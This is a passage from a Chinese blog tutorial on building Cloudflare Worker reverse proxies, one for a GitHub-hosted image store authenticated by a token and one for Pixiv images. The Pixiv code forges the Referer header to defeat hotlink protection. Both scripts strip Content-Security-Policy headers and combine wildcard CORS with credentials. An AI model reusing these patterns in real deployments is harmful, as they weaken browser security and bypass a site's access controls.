class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> upstream = <span class="string">"raw.githubusercontent.com"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Custom pathname for the upstream website.</span></span><br><span class="line"><span class="comment">// (1) 填写代理的路径,格式为 /<用户>/<仓库名>/<分支></span></span><br><span class="line"><span class="keyword">const</span> upstream_path = <span class="string">"/avasummer/assets/main"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// github personal access token.</span></span><br><span class="line"><span class="comment">// (2) 填写github令牌</span></span><br><span class="line"><span class="keyword">const</span> github_token = <span class="string">"your_tokenhere"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Website you intended to retrieve for users using mobile devices.</span></span><br><span class="line"><span class="keyword">const</span> upstream_mobile = upstream;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Countries and regions where you wish to suspend your service.</span></span><br><span class="line"><span class="keyword">const</span> blocked_region = [];</span><br><span class="line"></span><br><span class="line"><span class="comment">// IP addresses which you wish to block from using your service.</span></span><br><span class="line"><span class="keyword">const</span> blocked_ip_address = [<span class="string">"0.0.0.0"</span>, <span class="string">"127.0.0.1"</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Whether to use HTTPS protocol for upstream address.</span></span><br><span class="line"><span class="keyword">const</span> https = <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Whether to disable cache.</span></span><br><span class="line"><span class="keyword">const</span> disable_cache = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Replace texts.</span></span><br><span class="line"><span class="keyword">const</span> replace_dict = {</span><br><span class="line"> <span class="attr">$upstream</span>: <span class="string">"$custom_domain"</span>,</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="title function_">addEventListener</span>(<span class="string">"fetch"</span>, <span class="function">(<span class="params">event</span>) =></span> {</span><br><span class="line"> event.<span class="title function_">respondWith</span>(<span class="title function_">fetchAndApply</span>(event.<span class="property">request</span>));</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">fetchAndApply</span>(<span class="params">request</span>) {</span><br><span class="line"> <span class="keyword">const</span> region = request.<span class="property">headers</span>.<span class="title function_">get</span>(<span class="string">"cf-ipcountry"</span>)?.<span class="title function_">toUpperCase</span>();</span><br><span class="line"> <span class="keyword">const</span> ip_address = request.<span class="property">headers</span>.<span class="title function_">get</span>(<span class="string">"cf-connecting-ip"</span>);</span><br><span class="line"> <span class="keyword">const</span> user_agent = request.<span class="property">headers</span>.<span class="title function_">get</span>(<span class="string">"user-agent"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> response = <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">let</span> url = <span class="keyword">new</span> <span class="title function_">URL</span>(request.<span class="property">url</span>);</span><br><span class="line"> <span class="keyword">let</span> url_hostname = url.<span class="property">hostname</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (https == <span class="literal">true</span>) {</span><br><span class="line"> url.<span class="property">protocol</span> = <span class="string">"https:"</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> url.<span class="property">protocol</span> = <span class="string">"http:"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">await</span> <span class="title function_">device_status</span>(user_agent)) {</span><br><span class="line"> <span class="keyword">var</span> upstream_domain = upstream;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">var</span> upstream_domain = upstream_mobile;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> url.<span class="property">host</span> = upstream_domain;</span><br><span class="line"> <span class="keyword">if</span> (url.<span class="property">pathname</span> == <span class="string">"/"</span>) {</span><br><span class="line"> url.<span class="property">pathname</span> = upstream_path;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> url.<span class="property">pathname</span> = upstream_path + url.<span class="property">pathname</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (blocked_region.<span class="title function_">includes</span>(region)) {</span><br><span class="line"> response = <span class="keyword">new</span> <span class="title class_">Response</span>(</span><br><span class="line"> <span class="string">"Access denied: WorkersProxy is not available in your region yet."</span>,</span><br><span class="line"> {</span><br><span class="line"> <span class="attr">status</span>: <span class="number">403</span>,</span><br><span class="line"> }</span><br><span class="line"> );</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (blocked_ip_address.<span class="title function_">includes</span>(ip_address)) {</span><br><span class="line"> response = <span class="keyword">new</span> <span class="title class_">Response</span>(</span><br><span class="line"> <span class="string">"Access denied: Your IP address is blocked by WorkersProxy."</span>,</span><br><span class="line"> {</span><br><span class="line"> <span class="attr">status</span>: <span class="number">403</span>,</span><br><span class="line"> }</span><br><span class="line"> );</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">let</span> method = request.<span class="property">method</span>;</span><br><span class="line"> <span class="keyword">let</span> request_headers = request.<span class="property">headers</span>;</span><br><span class="line"> <span class="keyword">let</span> new_request_headers = <span class="keyword">new</span> <span class="title class_">Headers</span>(request_headers);</span><br><span class="line"></span><br><span class="line"> new_request_headers.<span class="title function_">set</span>(<span class="string">"Host"</span>, upstream_domain);</span><br><span class="line"> new_request_headers.<span class="title function_">set</span>(<span class="string">"Referer"</span>, url.<span class="property">protocol</span> + <span class="string">"//"</span> + url_hostname);</span><br><span class="line"> new_request_headers.<span class="title function_">set</span>(<span class="string">"Authorization"</span>, <span class="string">"token "</span> + github_token);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> original_response = <span class="keyword">await</span> <span class="title function_">fetch</span>(url.<span class="property">href</span>, {</span><br><span class="line"> <span class="attr">method</span>: method,</span><br><span class="line"> <span class="attr">headers</span>: new_request_headers,</span><br><span class="line"> <span class="attr">body</span>: request.<span class="property">body</span>,</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> connection_upgrade = new_request_headers.<span class="title function_">get</span>(<span class="string">"Upgrade"</span>);</span><br><span class="line"> <span class="keyword">if</span> (connection_upgrade && connection_upgrade.<span class="title function_">toLowerCase</span>() == <span class="string">"websocket"</span>) {</span><br><span class="line"> <span class="keyword">return</span> original_response;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> original_response_clone = original_response.<span class="title function_">clone</span>();</span><br><span class="line"> <span class="keyword">let</span> original_text = <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">let</span> response_headers = original_response.<span class="property">headers</span>;</span><br><span class="line"> <span class="keyword">let</span> new_response_headers = <span class="keyword">new</span> <span class="title class_">Headers</span>(response_headers);</span><br><span class="line"> <span class="keyword">let</span> status = original_response.<span class="property">status</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (disable_cache) {</span><br><span class="line"> new_response_headers.<span class="title function_">set</span>(<span class="string">"Cache-Control"</span>, <span class="string">"no-store"</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> new_response_headers.<span class="title function_">set</span>(<span class="string">"Cache-Control"</span>, <span class="string">"max-age=43200000"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> new_response_headers.<span class="title function_">set</span>(<span class="string">"access-control-allow-origin"</span>, <span class="string">"*"</span>);</span><br><span class="line"> new_response_headers.<span class="title function_">set</span>(<span class="string">"access-control-allow-credentials"</span>, <span class="literal">true</span>);</span><br><span class="line"> new_response_headers.<span class="title function_">delete</span>(<span class="string">"content-security-policy"</span>);</span><br><span class="line"> new_response_headers.<span class="title function_">delete</span>(<span class="string">"content-security-policy-report-only"</span>);</span><br><span class="line"> new_response_headers.<span class="title function_">delete</span>(<span class="string">"clear-site-data"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (new_response_headers.<span class="title function_">get</span>(<span class="string">"x-pjax-url"</span>)) {</span><br><span class="line"> new_response_headers.<span class="title function_">set</span>(</span><br><span class="line"> <span class="string">"x-pjax-url"</span>,</span><br><span class="line"> response_headers</span><br><span class="line"> .<span class="title function_">get</span>(<span class="string">"x-pjax-url"</span>)</span><br><span class="line"> .<span class="title function_">replace</span>(<span class="string">"//"</span> + upstream_domain, <span class="string">"//"</span> + url_hostname)</span><br><span class="line"> );</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">const</span> content_type = new_response_headers.<span class="title function_">get</span>(<span class="string">"content-type"</span>);</span><br><span class="line"> <span class="keyword">if</span> (</span><br><span class="line"> content_type != <span class="literal">null</span> &&</span><br><span class="line"> content_type.<span class="title function_">includes</span>(<span class="string">"text/html"</span>) &&</span><br><span class="line"> content_type.<span class="title function_">includes</span>(<span class="string">"UTF-8"</span>)</span><br><span class="line"> ) {</span><br><span class="line"> original_text = <span class="keyword">await</span> <span class="title function_">replace_response_text</span>(</span><br><span class="line"> original_response_clone,</span><br><span class="line"> upstream_domain,</span><br><span class="line"> url_hostname</span><br><span class="line"> );</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> original_text = original_response_clone.<span class="property">body</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> response = <span class="keyword">new</span> <span class="title class_">Response</span>(original_text, {</span><br><span class="line"> status,</span><br><span class="line"> <span class="attr">headers</span>: new_response_headers,</span><br><span class="line"> });</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> response;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">replace_response_text</span>(<span class="params">response, upstream_domain, host_name</span>) {</span><br><span class="line"> <span class="keyword">let</span> text = <span class="keyword">await</span> response.<span class="title function_">text</span>();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">var</span> i, j;</span><br><span class="line"> <span class="keyword">for</span> (i <span class="keyword">in</span> replace_dict) {</span><br><span class="line"> j = replace_dict[i];</span><br><span class="line"> <span class="keyword">if</span> (i == <span class="string">"$upstream"</span>) {</span><br><span class="line"> i = upstream_domain;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (i == <span class="string">"$custom_domain"</span>) {</span><br><span class="line"> i = host_name;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (j == <span class="string">"$upstream"</span>) {</span><br><span class="line"> j = upstream_domain;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (j == <span class="string">"$custom_domain"</span>) {</span><br><span class="line"> j = host_name;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> re = <span class="keyword">new</span> <span class="title class_">RegExp</span>(i, <span class="string">"g"</span>);</span><br><span class="line"> text = text.<span class="title function_">replace</span>(re, j);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> text;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">device_status</span>(<span class="params">user_agent_info</span>) {</span><br><span class="line"> <span class="keyword">var</span> agents = [</span><br><span class="line"> <span class="string">"Android"</span>,</span><br><span class="line"> <span class="string">"iPhone"</span>,</span><br><span class="line"> <span class="string">"SymbianOS"</span>,</span><br><span class="line"> <span class="string">"Windows Phone"</span>,</span><br><span class="line"> <span class="string">"iPad"</span>,</span><br><span class="line"> <span class="string">"iPod"</span>,</span><br><span class="line"> ];</span><br><span class="line"> <span class="keyword">var</span> flag = <span class="literal">true</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> v = <span class="number">0</span>; v < agents.<span class="property">length</span>; v++) {</span><br><span class="line"> <span class="keyword">if</span> (user_agent_info.<span class="title function_">indexOf</span>(agents[v]) > <span class="number">0</span>) {</span><br><span class="line"> flag = <span class="literal">false</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> flag;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>部署 Worker,然后在设置 - 域和路由中添加自定义域:</p><p><img src="/202532-Cloudflare-Worker-反向代理尝试\image-20250302180553146.png"></p><p>现在您的图床应该可以正常访问了。</p><p>helloworld.jpg (300×384): <a href="https://assets.summ2.link/helloworld.jpg">https://assets.summ2.link/helloworld.jpg</a></p><h1 id="小彩蛋">小彩蛋</h1><p>众所周知,似乎在 2020 年前后,Pixiv就无法被直接访问了。下面借此机会,尝试搭建一个 Pixiv图床的反向代理服务。由于 <code>i.pximg.net</code>的盗链保护,得把之前的代码做一些修改。</p><figure class="highlight javascript"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Website you intended to retrieve for users.</span></span><br><span class="line"><span class="keyword">const</span> upstream = <span class="string">"i.pximg.net"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Website you intended to retrieve for users using mobile devices.</span></span><br><span class="line"><span class="keyword">const</span> upstream_mobile = upstream;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Countries and regions where you wish to suspend your service.</span></span><br><span class="line"><span class="keyword">const</span> blocked_region = [];</span><br><span class="line"></span><br><span class="line"><span class="comment">// IP addresses which you wish to block from using your service.</span></span><br><span class="line"><span class="keyword">const</span> blocked_ip_address = [<span class="string">"0.0.0.0"</span>, <span class="string">"127.0.0.1"</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Whether to use HTTPS protocol for upstream address.</span></span><br><span class="line"><span class="keyword">const</span> https = <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Whether to disable cache.</span></span><br><span class="line"><span class="keyword">const</span> disable_cache = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Replace texts.</span></span><br><span class="line"><span class="keyword">const</span> replace_dict = {</span><br><span class="line"> <span class="attr">$upstream</span>: <span class="string">"$custom_domain"</span>,</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="title function_">addEventListener</span>(<span class="string">"fetch"</span>, <span class="function">(<span class="params">event</span>) =></span> {</span><br><span class="line"> event.<span class="title function_">respondWith</span>(<span class="title function_">fetchAndApply</span>(event.<span class="property">request</span>));</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">fetchAndApply</span>(<span class="params">request</span>) {</span><br><span class="line"> <span class="keyword">const</span> region = request.<span class="property">headers</span>.<span class="title function_">get</span>(<span class="string">"cf-ipcountry"</span>)?.<span class="title function_">toUpperCase</span>();</span><br><span class="line"> <span class="keyword">const</span> ip_address = request.<span class="property">headers</span>.<span class="title function_">get</span>(<span class="string">"cf-connecting-ip"</span>);</span><br><span class="line"> <span class="keyword">const</span> user_agent = request.<span class="property">headers</span>.<span class="title function_">get</span>(<span class="string">"user-agent"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> response = <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">let</span> url = <span class="keyword">new</span> <span class="title function_">URL</span>(request.<span class="property">url</span>);</span><br><span class="line"> <span class="keyword">let</span> url_hostname = url.<span class="property">hostname</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (https == <span class="literal">true</span>) {</span><br><span class="line"> url.<span class="property">protocol</span> = <span class="string">"https:"</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> url.<span class="property">protocol</span> = <span class="string">"http:"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">await</span> <span class="title function_">device_status</span>(user_agent)) {</span><br><span class="line"> <span class="keyword">var</span> upstream_domain = upstream;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">var</span> upstream_domain = upstream_mobile;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> url.<span class="property">host</span> = upstream_domain;</span><br><span class="line"><span class="comment">/* if (url.pathname == "/") {</span></span><br><span class="line"><span class="comment"> url.pathname = upstream_path;</span></span><br><span class="line"><span class="comment"> } else {</span></span><br><span class="line"><span class="comment"> url.pathname = upstream_path + url.pathname;</span></span><br><span class="line"><span class="comment"> }*/</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (blocked_region.<span class="title function_">includes</span>(region)) {</span><br><span class="line"> response = <span class="keyword">new</span> <span class="title class_">Response</span>(</span><br><span class="line"> <span class="string">"Access denied: WorkersProxy is not available in your region yet."</span>,</span><br><span class="line"> {</span><br><span class="line"> <span class="attr">status</span>: <span class="number">403</span>,</span><br><span class="line"> }</span><br><span class="line"> );</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (blocked_ip_address.<span class="title function_">includes</span>(ip_address)) {</span><br><span class="line"> response = <span class="keyword">new</span> <span class="title class_">Response</span>(</span><br><span class="line"> <span class="string">"Access denied: Your IP address is blocked by WorkersProxy."</span>,</span><br><span class="line"> {</span><br><span class="line"> <span class="attr">status</span>: <span class="number">403</span>,</span><br><span class="line"> }</span><br><span class="line"> );</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">let</span> method = request.<span class="property">method</span>;</span><br><span class="line"> <span class="keyword">let</span> request_headers = request.<span class="property">headers</span>;</span><br><span class="line"> <span class="keyword">let</span> new_request_headers = <span class="keyword">new</span> <span class="title class_">Headers</span>(request_headers);</span><br><span class="line"></span><br><span class="line"> new_request_headers.<span class="title function_">set</span>(<span class="string">'Referer'</span>, <span class="string">'https://www.pixiv.net/'</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> original_response = <span class="keyword">await</span> <span class="title function_">fetch</span>(url.<span class="property">href</span>, {</span><br><span class="line"> <span class="attr">method</span>: method,</span><br><span class="line"> <span class="attr">headers</span>: new_request_headers,</span><br><span class="line"> <span class="attr">body</span>: request.<span class="property">body</span>,</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> connection_upgrade = new_request_headers.<span class="title function_">get</span>(<span class="string">"Upgrade"</span>);</span><br><span class="line"> <span class="keyword">if</span> (connection_upgrade && connection_upgrade.<span class="title function_">toLowerCase</span>() == <span class="string">"websocket"</span>) {</span><br><span class="line"> <span class="keyword">return</span> original_response;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> original_response_clone = original_response.<span class="title function_">clone</span>();</span><br><span class="line"> <span class="keyword">let</span> original_text = <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">let</span> response_headers = original_response.<span class="property">headers</span>;</span><br><span class="line"> <span class="keyword">let</span> new_response_headers = <span class="keyword">new</span> <span class="title class_">Headers</span>(response_headers);</span><br><span class="line"> <span class="keyword">let</span> status = original_response.<span class="property">status</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (disable_cache) {</span><br><span class="line"> new_response_headers.<span class="title function_">set</span>(<span class="string">"Cache-Control"</span>, <span class="string">"no-store"</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> new_response_headers.<span class="title function_">set</span>(<span class="string">"Cache-Control"</span>, <span class="string">"max-age=43200000"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> new_response_headers.<span class="title function_">set</span>(<span class="string">"access-control-allow-origin"</span>, <span class="string">"*"</span>);</span><br><span class="line"> new_response_headers.<span class="title function_">set</span>(<span class="string">"access-control-allow-credentials"</span>, <span class="literal">true</span>);</span><br><span class="line"> new_response_headers.<span class="title function_">delete</span>(<span class="string">"content-security-policy"</span>);</span><br><span class="line"> new_response_headers.<span class="title function_">delete</span>(<span class="string">"content-security-policy-report-only"</span>);</span><br><span class="line"> new_response_headers.<span class="title function_">delete</span>(<span class="string">"clear-site-data"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (new_response_headers.<span class="title function_">get</span>(<span class="string">"x-pjax-url"</span>)) {</span><br><span class="line"> new_response_headers.<span class="title function_">set</span>(</span><br><span class="line"> <span class="string">"x-pjax-url"</span>,</span><br><span class="line"> response_headers</span><br><span class="line"> .<span class="title function_">get</span>(<span class="string">"x-pjax-url"</span>)</span><br><span class="line"> .<span class="title function_">replace</span>(<span class="string">"//"</span> + upstream_domain, <span class="string">"//"</span> + url_hostname)</span><br><span class="line"> );</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">const</span> content_type = new_response_headers.<span class="title function_">get</span>(<span class="string">"content-type"</span>);</span><br><span class="line"> <span class="keyword">if</span> (</span><br><span class="line"> content_type != <span class="literal">null</span> &&</span><br><span class="line"> content_type.<span class="title function_">includes</span>(<span class="string">"text/html"</span>) &&</span><br><span class="line"> content_type.<span class="title function_">includes</span>(<span class="string">"UTF-8"</span>)</span><br><span class="line"> ) {</span><br><span class="line"> original_text = <span class="keyword">await</span> <span class="title function_">replace_response_text</span>(</span><br><span class="line"> original_response_clone,</span><br><span class="line"> upstream_domain,</span><br><span class="line"> url_hostname</span><br><span class="line"> );</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> original_text = original_response_clone.<span class="property">body</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> response = <span class="keyword">new</span> <span class="title class_">Response</span>(original_text, {</span><br><span class="line"> status,</span><br><span class="line"> <span class="attr">headers</span>: new_response_headers,</span><br><span class="line"> });</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> response;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">replace_response_text</span>(<span class="params">response, upstream_domain, host_name</span>) {</span><br><span class="line"> <span class="keyword">let</span> text = <span class="keyword">await</span> response.<span class="title function_">text</span>();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">var</span> i, j;</span><br><span class="line"> <span class="keyword">for</span> (i <span class="keyword">in</span> replace_dict) {</span><br><span class="line"> j = replace_dict[i];</span><br><span class="line"> <span class="keyword">if</span> (i == <span class="string">"$upstream"</span>) {</span><br><span class="line"> i = upstream_domain;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (i == <span class="string">"$custom_domain"</span>) {</span><br><span class="line"> i = host_name;</span><br><span class="line"> }</span><br><span 